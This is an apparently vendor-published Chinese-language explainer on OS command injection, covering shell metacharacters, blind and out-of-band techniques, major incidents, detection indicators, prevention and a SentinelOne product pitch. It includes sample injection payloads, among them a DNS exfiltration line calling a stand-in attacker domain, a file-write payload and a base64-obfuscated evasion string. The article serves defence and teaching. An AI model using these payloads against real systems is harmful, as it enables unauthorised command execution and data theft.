
什麼是命令注入?攻擊者如何利用它
命令注入(CWE-78)讓攻擊者能透過存在弱點的應用程式執行 OS 命令。了解其運作方式、哪些對象會受影響,以及如何阻止它。

重點整理
- 命令注入 是一種安全弱點,允許攻擊者透過存在弱點的應用程式執行未經授權的作業系統命令。
- 未經淨化的使用者輸入是常見的根本原因,尤其是在應用程式將輸入直接傳遞給系統 shell 或命令直譯器時。
- 成功的命令注入可能會暴露敏感資料與系統資源, 讓攻擊者得以讀取檔案、修改資料、執行惡意程式碼,或取得進一步存取權限。
- 攻擊者可以用不同方式利用命令注入, 包括注入額外命令、使用命令分隔符,或操控應用程式參數。
- 安全的輸入驗證以及避免直接執行 OS 命令是關鍵防禦措施, 再加上最小權限存取、安全 API,以及定期安全測試。
什麼是命令注入?
命令注入是一種弱點,讓攻擊者能透過存在弱點的應用程式,在主機上執行任意作業系統(OS)命令。當軟體透過拼接使用者提供的文字來建立 OS 命令時,就會發生這種情況。如果該文字包含 shell 視為指令的字元,例如; 或 |,shell 就會將它們作為命令的一部分來執行。注入的命令會以存在弱點的應用程式程序權限執行,這通常意味著可直接存取底層伺服器。
在 MITRE 的 Common Weakness Enumeration (CWE) 中,此弱點被歸類為 CWE-78(OS Command Injection)及其上層 CWE-77(Command Injection),並屬於更廣泛的 CWE-74 注入家族。命令注入會透過將攻擊者控制的指令附加到應用程式已經發出的 shell 命令上,來擴展應用程式既有的 OS 呼叫。攻擊者不需要在應用程式執行階段加入任何新程式碼,也不需要存取資料庫引擎。應用程式自己的 shell 呼叫就會完成這項工作。
其危害已有公開紀錄。Shellshock 弱點(CVE-2014-6271)讓攻擊者能透過精心構造的 Bash 環境變數執行命令。未能修補 Apache Struts 中的命令執行弱點,CVE-2017-5638,後來為 Equifax 資料外洩事件以及 1.47 億人的個人資料遭洩打開了大門。CWE-78 也在 KEV Top 10中排名第一,這是 MITRE 於 2025 年針對 CISA Known Exploited Vulnerabilities (KEV) 目錄背後弱點所做的排名。沒有任何弱點比它更常被武器化利用。
其機制很簡單。阻止它們的原則也一樣簡單:讓使用者資料遠離 shell 指令。
命令注入如何運作?
命令注入利用了一個根本性的設計缺陷:應用程式在未將資料與指令分離的情況下,直接將使用者可控制的輸入傳入系統 shell。當 shell 接收到串接後的字串時,會將攻擊者提供的中繼字元解讀為命令分隔符、替換內容或運算子。
核心機制
請考慮一個透過將使用者提供的主機名稱傳遞給 OS 來執行 DNS 查詢的 Web 應用程式:

如果你提供 example.com,shell 會如預期執行 /path/to/nslookup example.com。但如果攻擊者提供 example.com ; /bin/ls -l,shell 會看到兩個不同的命令:

分號在 Unix 系統上會作為命令分隔符。shell 會先執行 nslookup,接著執行 ls -l,回傳開發人員原本無意提供的目錄清單。
Shell 中繼字元
攻擊者依賴一組對 shell 具有特殊意義的字元,以跳脫原本預期的命令內容脈絡。根據 PortSwigger Academy:
字元 | 平台 | 行為 |
; | Unix | 依序執行命令 |
& | Windows + Unix | 在背景執行或串接命令 |
&& | Windows + Unix | 僅在第一個命令成功時執行第二個命令 |
| | Windows + Unix | 將第一個命令的輸出傳遞至第二個命令 |
|| | Windows + Unix | 僅在第一個命令失敗時執行第二個命令 |
(反引號) | Unix | 內嵌命令替換 |
$() | Unix | 內嵌命令替換 |
換行符號 (0x0a) | Unix | 終止目前命令並開始新命令 |
當攻擊者輸入出現在原始命令的引號內時,攻擊者必須先結束引號內容的上下文,後設字元才會生效。
兩種結構子類型
MITRE 識別出 兩種不同的 OS 命令注入子類型:
子類型 1:命令分隔符注入。 應用程式執行固定程式,並將使用者輸入作為引數。攻擊者無法變更執行的程式,但可透過分隔符附加其他命令。這是最常見的形式。
子類型 2:完整命令控制。 應用程式使用輸入來完全決定要執行哪個程式。例如:

如果攻擊者控制 SCRIPTNAME 屬性,他們就能選擇要執行哪個二進位檔。
經典型 vs. 盲注型 vs. 二階型
經典型(同通道)注入 會在 HTTP 回應中直接傳回命令輸出。提供 & echo aiwefwlguh & 時,當回應本文中出現回顯字串,即可確認注入成功。
盲注型注入 不會產生可見輸出。攻擊者透過以下三種由 PortSwigger記錄的技術來確認執行:
- 時間延遲:
& sleep 10 &會造成可測量的回應延遲。 - 輸出重新導向:
||whoami>/var/www/images/output.txt||將結果寫入可透過 Web 存取的路徑。 - 頻外回呼:
& nslookup `whoami`.attacker.com& 會觸發對攻擊者控制網域的 DNS 查詢,並將命令輸出嵌入子網域中。
二階注入 會在提交時儲存惡意酬載。當不同的應用程式功能擷取已儲存的資料並將其納入命令時,注入會在之後觸發。這使得在程式碼審查期間進行來源到匯點追蹤變得更加困難。
這些類型都利用相同的根本原因:未經清理的輸入到達系統 shell。一個根本原因意味著一套做法即可封堵這三者。
命令注入的成因
命令注入並非源自單一的編碼錯誤。它源於一種開發實務模式,未能將使用者資料與 shell 指令分離。
直接以使用者輸入呼叫 shell
最常見的原因是呼叫 OS shell 函式,並將使用者可控制的字串串接到命令中。每種主要程式語言都提供可呼叫系統 shell 的函式,而當開發人員需要快速存取 OS 公用程式時,往往會使用它們:
語言 | 危險函式 |
Python |
|
Java |
|
PHP |
|
Ruby |
|
Node.js |
|
來源: OWASP 備忘單, Bugcrowd 部落格
輸入驗證不足
當開發人員確實驗證輸入時,他們往往依賴嘗試封鎖特定危險字元的拒絕清單。 OWASP 驗證速查表將拒絕清單驗證描述為「有嚴重缺陷的方法」,因為攻擊者可透過編碼變化、替代分隔符,或根本不需要任何 shell 中繼字元的引數注入來繞過它。
間接輸入向量
命令注入不一定總是透過表單欄位或 URL 參數進入。根據 OWASP 社群以及 MITRE CWE-78,已記錄的輸入向量包括:
- 環境變數
- 封存檔內的檔名
- FTP 伺服器回應
- HTTP 標頭與 Cookie 傳遞至系統呼叫
- Java 虛擬機器 (JVM) 系統屬性與執行階段組態值
如果接收這些值的程式碼未加以驗證,任何這些向量都可能將 shell 中繼字元帶入命令字串。
缺少參數化
語言與框架提供可將命令與其引數分離的參數化命令執行方式。當開發人員略過這些較安全的 API,而選擇 subprocess.run(f"ping {user_input}", shell=True) 而非 subprocess.run(["ping", user_input], shell=False)時,他們就會讓 shell 將所有內容都解讀為單一字串,包括中繼字元。
最小權限失敗
即使發生注入,損害程度仍取決於易受攻擊程序的權限。以 root 身分執行或使用提升權限服務帳戶的應用程式,會在注入成功後讓攻擊者取得完整系統存取權。根據 OWASP WSTG,Web 應用程式應在嚴格權限下執行,不允許任意 OS 命令執行。
這些每一項成因若未修正,都會累積成實際損害。
命令注入的影響與風險
命令注入一向名列最嚴重的漏洞之一,因為它提供了從 Web 請求直接通往 OS 層級控制的路徑。其影響涵蓋技術、營運與策略層面。
技術影響
成功的 OS 命令注入可實現:
- 任意命令執行 以易受攻擊應用程式程序的權限執行
- 完整系統遭入侵 當應用程式以 root 身分執行或具有提升權限時
- 資料外洩 透過對外網路連線或 DNS 通道傳輸
- 持續性存取 透過植入程式、後門或新的使用者帳戶
- 橫向移動 至可從受害主機存取的其他系統
嚴重性會隨遭入侵程序的權限以及受影響主機的網路位置而擴大。
業務影響
已有文件記錄的真實世界後果包括:
- 勒索軟體 部署: 攻擊者利用 Apache ActiveMQ CVE-2023-46604(一種最終導致任意 shell 命令的反序列化缺陷)來投遞 HelloKitty 勒索軟體。其 CISA KEV 項目確認存在主動利用
- 國家級間諜活動: FBI 與 CISA 聯合發布的 DPRK advisory (AA24-207A) 將 CVE-2023-46604 列為北韓 Andariel 組織在全球間諜活動中利用的漏洞之一
這些事件顯示,命令注入會影響各產業與各種規模的組織。
武器化落差
命令注入最顯著的特徵,是它出現的頻率與攻擊者使用它的頻率之間存在落差。CWE-78 在 MITRE 2025 CWE Top 25 中依整體普遍性排名第九,但它在 KEV Top 10中位居第一。MITRE 將這種差異描述為反映出「對手最容易利用且能造成最理想影響的漏洞類型」。
這個落差顯示了攻擊者重視什麼:一次請求,一個 shell。他們的攻擊手法也由此而來。
攻擊者如何利用命令注入
攻擊者在鎖定命令注入時會遵循結構化的方法,從發現、確認到全面利用逐步推進。
步驟 1:識別注入點
攻擊者會尋找與作業系統互動的應用程式功能:檔案操作、DNS 查詢、網路診斷、PDF 產生、影像處理或系統管理介面。他們會探測每一個可能到達 shell 的輸入,包括 URL 參數、表單欄位、HTTP 標頭、Cookie,以及上傳的檔名。
步驟 2:測試是否可執行
對於傳統注入, 攻擊者會提交包含 shell 中繼字元的酬載,並在回應中尋找命令輸出:

如果 randomstring 出現在回應中,表示應用程式會將輸入傳遞給 shell。
對於盲注入,攻擊者會使用基於時間的酬載:

持續一致的延遲可在沒有可見輸出的情況下確認執行。或者,帶外酬載會觸發 DNS 回呼:

攻擊者會監控其 DNS 伺服器,查看傳入的查詢是否包含 whoami 的輸出作為子網域。
步驟 3:列舉環境
一旦確認可執行,攻擊者就會執行探索命令:whoami, id, ifconfig, uname -a, cat /etc/passwd. 這些命令會揭露使用者內容、網路組態與作業系統版本,為下一階段提供資訊。
步驟 4:建立持久性並提升權限
從初始 shell 存取開始,攻擊者通常會:
- 透過
curl或wget從攻擊者控制的伺服器下載其他工具 - 建立新的使用者帳戶或 SSH 金鑰,以維持持續存取
- 利用本機 privilege escalation 以取得 root
- 橫向移動到可從受害主機存取的其他系統
這些行動中的每一項都會留下遙測資料。若部署了適當的監測機制,這些遙測資料就會成為您的早期警示。
步驟 5:利用鏈式漏洞
攻擊者經常將命令注入與其他缺陷結合,以造成更大的影響。在 Cisco IOS XE 攻擊活動中,攻擊者首先利用 CVE-2023-20198 取得初始存取權,接著使用 CVE-2023-20273 提升至 root 並寫入持久化植入程式。Ivanti Connect Secure 鏈結合了 驗證繞過與注入。之後,未經驗證的攻擊者即可使用提升的權限執行任意命令。
規避技術
進階攻擊者會透過以下方式繞過基本過濾:
- 編碼: URL 編碼、base64 包裝(;bash<<<$(base64 -d<<<d2hvYW1p))
- 替代分隔符:以換行字元(0x0a)取代分號
- 引數注入: 使用 -exec 旗標,完全不使用任何 shell 中繼字元
- 帶引號內容逸脫: 在注入分隔符之前先關閉開發人員定義的引號
了解哪些對象面臨最高風險,有助於您排定防禦措施的優先順序。
哪些對象會受到命令注入影響?
命令注入會影響任何使用外部輸入來建構 OS 命令的系統。了解風險集中在哪裡,就能知道應優先防禦哪些地方。
網路與安全設備
VPN 閘道、防火牆、路由器與交換器,是命令注入風險最高的攻擊面。CISA 的 KEV 目錄顯示,Ivanti Connect Secure、Cisco IOS XE、Cisco NX-OS,以及 Zyxel 防火牆與路由器中,存在大量遭到主動利用的命令注入缺陷。這些裝置位於網路邊界,依設計即面向網際網路,且通常執行嵌入式作業系統,缺乏通用型伺服器可用的安全工具。
IoT 與嵌入式裝置
攝影機、網路錄影機(NVR),以及消費級網路設備,經常包含無可用修補程式的命令注入漏洞。已終止支援的 GeoVision IoT 裝置(CVE-2024-6047、CVE-2024-11120)出現在 KEV 目錄中,且正遭到主動利用。Zyxel 決定不修補受 CVE-2024-40891 影響的已終止支援路由器,導致具有預設認證與未驗證 Telnet 命令的裝置無限期暴露。
與 OS 整合的 Web 應用程式
任何 Web 應用程式,只要會呼叫系統公用程式、處理檔案、產生報告,或透過 shell 命令管理伺服器基礎架構,就存在風險。像 Coolify 這類自行託管的部署平台顯示,現代 DevOps 工具在資料庫備份、匯入或初始化指令碼功能將使用者輸入傳遞給 shell 時,也帶有相同的經典漏洞。
關鍵基礎設施與醫療保健
當暴露的系統同時具備可從網際網路存取、營運敏感性,以及易受攻擊的軟體或硬體時,關鍵基礎設施營運商與醫療保健組織將面臨更高風險。2023 年 5 月對丹麥能源公司的攻擊顯示,這種組合會多快演變成真實事件。
新興 AI 與 LLM 平台
MITRE CWE 4.16 版在 CWE-77 中新增了一個與 AI 相關的示範範例:提示注入案例,這標誌著新的攻擊面。近期的 CWE-78 範例 現在也包含 AI 代理與大型語言模型(LLM)訓練平台,其中 Python Popen 從 AI 管線元件呼叫程序未經清理的輸入。
已有文件記錄的事件顯示,這些風險如何在正式環境中發生。
命令注入的真實世界案例
自 2014 年以來,命令注入促成了一些有記錄以來影響最重大的安全事件,影響範圍從消費者網路基礎架構到國家關鍵系統。
Shellshock (2014):GNU Bash 的大規模利用
CVE-2014-6271 透過 4.3 版及更早版本的 GNU Bash 造成影響。Bash 會處理環境變數中函式定義後方的尾隨字串,讓遠端攻擊者可透過任何在呼叫 Bash 前設定環境變數的向量執行任意命令。攻擊面包括 Apache CGI 指令碼、OpenSSH ForceCommand,以及 DHCP 用戶端指令碼。
Shellshock 的 Common Vulnerability Scoring System 評分為 CVSS 9.8。原始修補程式並不完整。後續修補以 CVE-2014-7169、CVE-2014-6277 與 CVE-2014-6278 發布。
Equifax 資料外洩事件 (2017):記錄外洩
Apache Struts 2 中的 CVE-2017-5638 允許透過傳送至 Jakarta Multipart 剖析器的特製 Content-Type、Content-Disposition 或 Content-Length HTTP 標頭來執行遠端命令。當 Equifax 未套用可用修補程式時,此弱點成為該資料外洩事件的入侵點。根據 Federal Trade Commission,此次外洩暴露了 1.47 億人的個人資料,且至今仍是歷史上規模最大的資料外洩事件之一。技術細節可見於 National Vulnerability Database (NVD) record。
丹麥電網攻擊 (2023)
2023 年 5 月,與俄羅斯有關聯的威脅行為者入侵了 22 家 丹麥電力公司。第一波攻擊利用了 CVE-2023-28771,這是 Zykel 路由器中的重大命令注入弱點,而攻擊者持續利用未修補的系統來維持存取。丹麥關鍵基礎架構的資安中心 SektorCERT 於 2023 年 11 月揭露了這項活動。
Ivanti Connect Secure 大規模利用 (2024)
自 2024 年 1 月起,多個威脅群組將 CVE-2024-21887(命令注入)與 CVE-2023-46805(驗證繞過)的漏洞鏈武器化,攻擊 Ivanti Connect Secure VPN 設備。CISA 發布了 緊急公告,記錄此利用鏈。
Coolify 三重命令注入 (2026)
於 2026 年 1 月揭露的 Coolify 弱點 證明命令注入是當前仍存在的風險。這些弱點中的三個(CVE-2025-66209、CVE-2025-66210 與 CVE-2025-66211,CVSS 評分皆為 10.0)影響資料庫備份、資料庫匯入,以及 PostgreSQL 初始化指令碼管理功能。具有資料庫權限的已驗證使用者可逃離容器並接管伺服器。
這些事件橫跨十多年。以下時間軸顯示命令注入如何演變。
命令注入:歷史時間軸
年ar | 事件 | 重要性 |
2002 | 已記錄 CVE-2002-0061 | 早期 CWE-78 範例:透過管線字元執行 Web 伺服器命令 |
2014 | Shellshock (CVE-2014-6271) | GNU Bash 在眾多平台上遭到大規模利用 |
2017 | Apache Struts / Equifax (CVE-2017-5638) | 透過 HTTP 標頭執行命令,導致重大資料外洩事件 |
2023 | Apache ActiveMQ (CVE-2023-46604) | 反序列化缺陷最終導致 shell 命令執行;遭利用來散布勒索軟體 |
2023 | Cisco IOS XE 零時差漏洞 (CVE-2023-20198) | 具持久化植入程式的兩階段利用鏈 |
2023 | 丹麥電網攻擊 | 多家公司因關鍵基礎設施中的命令注入而遭受攻擊 |
2024 | Ivanti Connect Secure 大規模利用 | 在暴露於外的設備上,透過命令注入 + 驗證繞過鏈進行攻擊 |
2025 | CWE-78 在 MITRE 的 KEV Top 10 中升至第 1 名 | CISA 的 KEV 目錄中最常被武器化的弱點 |
2025 | CVE-2025-54100 (Windows PowerShell) | PowerShell 網頁內容處理中的命令注入 |
2026 | Coolify 三項 CVSS 10.0 | 現代 DevOps 工具中的三個命令注入缺陷 |
2026 | TP-Link Archer BE230 (CVE-2026-22224) | 消費級路由器韌體中的雲端介面注入 |
命令注入持續出現在新的情境中。如今,攻擊面已延伸至雲端基礎設施、IoT 生態系,以及 AI 平台。能在每一層、於利用前後皆加以攔截的防禦者,就能剝奪這種擴散能力。
如何偵測命令注入
找出命令注入需要在開發生命週期、應用程式執行階段,以及端點/網路遙測之間建立分層涵蓋。
靜態應用程式安全測試 (SAST)
SAST 工具會在執行階段之前分析原始碼或二進位檔,在不執行應用程式的情況下掃描易受攻擊的模式。對於命令注入,SAST 可識別:
- 對危險 sink 的呼叫 (system(), exec(), popen(), subprocess 搭配 shell=True)
- 未受信任的資料從使用者可控制的來源(HTTP 參數、標頭、Cookie)流入這些 sink,且未經驗證
- 在建構 OS 命令之前缺少 allowlist 驗證
SAST 會產生誤判,且無法觀察執行階段行為。它識別的是程式碼模式,而非已確認可被利用的弱點。應將 SAST 發現視為需要人工驗證的指標。
動態應用程式安全測試 (DAST)
DAST 透過從外部模擬攻擊來評估執行中的應用程式。根據 OWASP WSTG,適用於命令注入的有效 DAST 酬載包括:
類別 | 範例酬載 | 識別方法 |
命令鏈結 |
| 回應中的命令輸出 |
命令替換 |
| 回應中的命令輸出 |
時間延遲(盲測) |
| 回應時間測量 |
頻外(盲測) |
| DNS 回呼監控 |
Burp Suite Professional 和 OWASP ZAP 等工具會在應用程式端點上執行這些探測。
執行階段應用程式自我保護(RASP)
RASP 會對執行中的應用程式進行插樁,並從應用程式內容脈絡內攔截命令呼叫。RASP 會攔截使用 Runtime.exec 或 ProcessBuilder.start 實際分岔出處理程序的行為,這表示能夠欺騙周邊防禦的編碼與混淆技術在這一層將會失效。
端點與網路行為指標
對您的 SOC 團隊而言,這些程序層級與網路層級指標代表命令注入遭到利用:
程序指標:
- Web 伺服器程序(Apache, nginx, Tomcat)產生 cmd.exe, bash, sh,或 PowerShell 作為子程序
- 執行 whoami、id、ifconfig、net user 或類似列舉命令的子程序
- Base64 編碼 字串作為命令列引數出現在 shell 程序中
- 由 Web 應用程式父程序呼叫 nslookup、curl 或 wget,並連線至非企業外部目的地的程序
網路指標:
- 伺服器端程序產生對外 curl 或 wget 對外部 IP 位址的請求
- 新的使用者代理(curl、wget)源自面向網際網路的系統,且偏離基準
- 來自伺服器程序、指向異常外部網域的 DNS 查詢,與帶外應用程式安全測試(OAST)資料外洩酬載一致
最強的防禦是在注入到達 shell 之前就將其阻止。
如何防止命令注入
預防應遵循由以下資源建立的防禦層級: OWASP Defense Cheat Sheet。先從最強的控制措施開始,並在其後分層部署其他防禦。
1. 完全消除 OS 命令呼叫
最有效的預防方式,是永遠不要從應用程式層程式碼呼叫 OS 命令。根據 PortSwigger,幾乎每個 shell 命令都有語言原生的替代方案。使用 InetAddress.getByName("host"),而不是透過 shell 呼叫 ping。 使用 Python 的 shutil.copy(),而不是 os.system("cp ...")。使用 PHP 內建的 copy() 而非 system("cp ...")。
2. 在無法避免 shell 呼叫時進行參數化
如果您必須呼叫 OS 命令,請使用將命令與其引數分離的結構化 API:
py

Java

在 PHP 中,escapeshellarg() 會將使用者輸入包裝在單引號中,將整個值視為單一引數。這可防止注入,但無法防止引數操控。
3. 使用允許清單驗證,而非拒絕清單
明確定義允許哪些輸入。其他所有內容預設一律拒絕。
根據 OWASP Defense Cheat Sheet,適用於命令引數的實用允許清單 regex 為 ^[a-z0-9]{3,10}$。
根據 OWASP,任何用於命令引數的允許清單 regex 都必須排除以下字元:
4. 使用 -- 引數分隔符號
根據 POSIX Guideline 10,第一個 -- 引數表示選項結束。其後所有引數都會被視為運算元,即使它們以 - 開頭亦然:
shell

當使用者輸入可能包含以破折號為前綴的值時,這可防止引數注入。
5. 強制執行最小權限
以嚴格權限執行 Web 應用程式與元件,不允許任意 OS 命令執行。由於遭注入的命令 會以該權限執行,亦即易受攻擊應用程式的權限,因此即使注入成功,以非特權使用者身分執行的程序也能限制損害範圍。
6. 與 NIST SSDF 保持一致
NIST SP 800-218(安全軟體開發框架)提供治理層。實務 PW.8 要求在發行前測試程式碼以找出弱點。實務 PW.9 要求採用安全的預設設定,避免危險組態進入正式環境。
將這些控制措施與適當的工具搭配使用,命令注入就會成為您能及早發現的缺陷,而不是事後才清理的問題。
偵測與預防工具
上述的 SAST 與 RASP 方法可處理程式碼審查與執行階段保護。再加上另外三層即可完成防禦。
DAST 工具
Burp Suite Professional 和 OWASP ZAP 會使用注入酬載探測執行中的應用程式,包括用於盲式命令注入的時間型與帶外技術。請定期對預備環境執行 DAST 掃描。
Web 應用程式防火牆(WAF)
OWASP ModSecurity Core Rule Set 包含 REQUEST-932-APPLICATION-ATTACK-RCE 規則,專門針對遠端程式碼執行。AWS WAF Managed Rules 透過 Core Rule Set.
然而,WAF 具有一項關鍵限制。研究人員在 MDSec 記錄了針對多個主要 WAF 產品的真實世界繞過手法,並得出結論指出,WAF「過於常被依賴作為單一道防線。」繞過技術包括請求正規化漏洞與 HTTP 參數污染。WAF 應作為補充,而絕不能取代應用程式層級的輸入驗證。
EDR/XDR 平台
端點偵測與回應 (EDR) 與延伸式偵測與回應 (XDR) 平台構成最後一道防禦層。在注入成功後,它們會監控作業系統程序與網路遙測資料,並標記非預期的子程序、異常的網路連線,以及橫向移動。這正是行為式 AI 變得不可或缺之處:基於特徵碼的工具無法預先掌握攻擊者可能透過注入漏洞執行的每一個命令。
SentinelOne 如何提供協助?
SentinelOne 的 Singularity™ Platform 在後利用層面應對命令注入,而這正是許多組織防護涵蓋最薄弱的地方。在 2024 MITRE ATT&CK Evaluations 中,SentinelOne 達成 100% 偵測率、零延遲,且警示數量比競爭解決方案少 88%。當 Web 伺服器在成功注入後產生 bash 或 cmd.exe 時,這一點至關重要。
Singularity AI SIEM 將遙測資料、網路連線與身分訊號關聯成統一檢視。當命令注入攻擊觸發對攻擊者基礎設施發出的 curl 請求,接著出現橫向移動時,Singularity AI SIEM 會將這些事件串聯成單一攻擊敘事,而不是產生彼此無關的警示。
Purple AI™ 可讓您以自然語言在您的 Singularity Data Lake 中進行威脅狩獵。根據 IDC,Purple AI 客戶達成威脅識別速度提升 63%,並將 MTTR 降低 55%。您的團隊能更快從可疑的子程序追查到已說明清楚的事件。
對於管理 IoT 與嵌入式裝置且無法部署代理程式的組織而言,該平台的網路層級遙測與基於身分的行為分析,可提供對命令注入利用行為的可視性,涵蓋如 CISA KEV 目錄中出現的未修補 Zyxel 路由器與 GeoVision 攝影機等裝置。
申請 SentinelOne 示範,了解 Singularity Platform 如何在您的環境中找出並阻止命令注入利用。

AI-Powered Cybersecurity
Elevate your security posture with real-time detection, machine-speed response, and total visibility of your entire digital environment.
相關漏洞
命令注入屬於更廣泛的 CWE-74 injection family。了解其相關類型及其如何串聯運作,您就能封堵所有通往 shell 的路徑。
引數注入 (CWE-88)
作為 CWE-77 的子類,引數注入不需要 shell 中繼字元。攻擊者仍停留在預期命令範圍內,但會操控傳遞的引數或旗標。根據 MITRE,如果程式支援 -exec 參數,引數注入就會直接串聯到 OS 命令注入。封鎖 shell 中繼字元但允許以連字號開頭值的開發人員,仍然處於易受攻擊狀態。
程式碼注入 (CWE-94)
Code injection 會將新程式碼送入應用程式的執行階段直譯器 (eval(), include(), exec() 在 PHP/Python 中). 根據 OWASP,「Command Injection 與 Code Injection 的不同之處在於,Code Injection 允許攻擊者加入其自己的程式碼,然後由應用程式執行。」當注入的程式碼呼叫 system().
SQL 注入 (CWE-89)
SQL 注入會操縱資料庫查詢。它會透過資料庫特定功能進一步達成 OS 命令執行:Microsoft SQL Server 的 xp_cmdshell 可直接從 SQL 查詢內執行 OS 命令,而 MySQL 使用者定義函式則提供了類似的橋接方式。MITRE 在其 Common Attack Pattern Enumeration and Classification (CAPEC) 目錄中將這些升級路徑記錄為 CAPEC-108(透過 SQL 注入進行命令列執行)。
伺服器端範本注入 (SSTI)
對應至 CWE-94,當使用者輸入被串接到範本中,而非作為資料值傳遞時,就會發生 SSTI。根據 PortSwigger,在最嚴重的情況下,SSTI 可達成遠端程式碼執行並完全控制伺服器。已有記錄的攻擊鏈顯示,儲存型跨網站指令碼(XSS)可傳遞 SSTI 酬載,並透過範本引擎類別存取來執行 OS 命令。
不受信任資料的反序列化 (CWE-502)
反序列化攻擊會使用精心構造的序列化物件,在物件實例化期間觸發程式碼執行。根據 MITRE,Python pickle 酬載可覆寫 __reduce__ 以呼叫 Popen 並產生 shell。透過 Apache Commons Collections 的 Java gadget 鏈可達成 Runtime.exec()。其關鍵繞過優勢在於:酬載會以二進位 blob 的形式到達,從而規避所有基於字串的輸入驗證。
統一原則
根據 MITRE CWE-94:「所有注入問題都有一個共同點:它們允許將控制平面資料注入到使用者可控制的資料平面中。」無論是 OS shell、SQL 引擎、範本引擎或反序列化器,具體的直譯器都會決定 CWE 分類與攻擊語法。根本原因完全相同:未經淨化的輸入到達將資料視為指令的直譯器。
常見問題
命令注入是一種安全性缺陷 (CWE-78),當應用程式透過串接使用者可控制的輸入來建構 OS 命令,且未中和對 shell 具有特殊意義的字元時,就會發生此問題。
攻擊者會附加像是 ;、| 或 && 之類的中繼字元,使其命令以應用程式的權限執行。注入的指令會延伸既有的 OS 呼叫,而不是新增應用程式層邏輯。
是。CWE-77 和 CWE-78 被對應到 A03:2021 Injection(OWASP Top 10:2021)以及 A05:2025(OWASP Top 10:2025)。Injection 類別涵蓋多個相關的 CWE,包括命令注入。
可以。攻擊者可能只需要向易受攻擊的端點發送精心構造的 HTTP 請求。Ivanti Connect Secure 鏈 (CVE-2024-21887) 與 Cisco IOS XE 零時差漏洞 (CVE-2023-20198) 都曾遭到遠端利用。
VPN 閘道、路由器和防火牆等網路設備是風險最高的攻擊面。IoT 裝置、與 OS 整合的 Web 應用程式,以及自架部署平台也深受影響。
近期的 CWE-78 範例 包括 AI 代理與 LLM 訓練平台,其中 Python Popen 呼叫會處理未經淨化的輸入。
攻擊者會探測與作業系統互動的應用程式功能,例如檔案操作、DNS 查詢、影像處理或管理介面。他們會使用 shell 中繼字元測試 URL 參數、表單欄位、標頭、Cookie 與檔名。
對於盲注入,他們會使用時間延遲,例如 sleep 10,以及帶外 DNS 回呼來確認執行。
關鍵指標包括 Web 伺服器程序產生 bash、sh、cmd.exe、 或 PowerShell 作為子程序。
像 whoami、id、ifconfig、curl、wget 或 nslookup 這類命令若從 Web 應用程式父程序執行,也是不容忽視的強烈訊號。對不熟悉網域發出的異常對外請求與 DNS 查詢可能表示遭到利用。
命令注入是最嚴重的漏洞類別之一,因為它提供了從 Web 請求直接通往作業系統層級控制的路徑。CWE-78 達到 在 KEV 排名中位居第 1。
其武器化比率超過其原始盛行率,因為它可在單一步驟中立即提供 shell 存取。
會。注入的命令會以易受攻擊應用程式的權限執行。若應用程式以 root 或提升權限執行,攻擊者可能取得整個系統的控制權。
即使權限較低,他們仍可能進行權限提升、建立持續性存取,或橫向移動。Coolify 漏洞顯示,命令注入可能導致容器逃逸與整台伺服器遭到入侵。
沒有任何單一工具能提供完整涵蓋。SAST 可找出危險的程式碼模式,DAST 會以酬載測試執行中的應用程式,而 RASP 則會攔截應用程式內部實際的命令呼叫。
行為式端點監控可在執行後偵測利用行為。分層涵蓋效果最佳。
依賴網路設備、IoT 裝置或與作業系統層級整合的 Web 應用程式之組織,特別容易暴露於風險之中。
關鍵基礎設施營運者面臨特別高的風險,正如 2023 年 5 月對 22 家丹麥能源公司的攻擊所顯示。



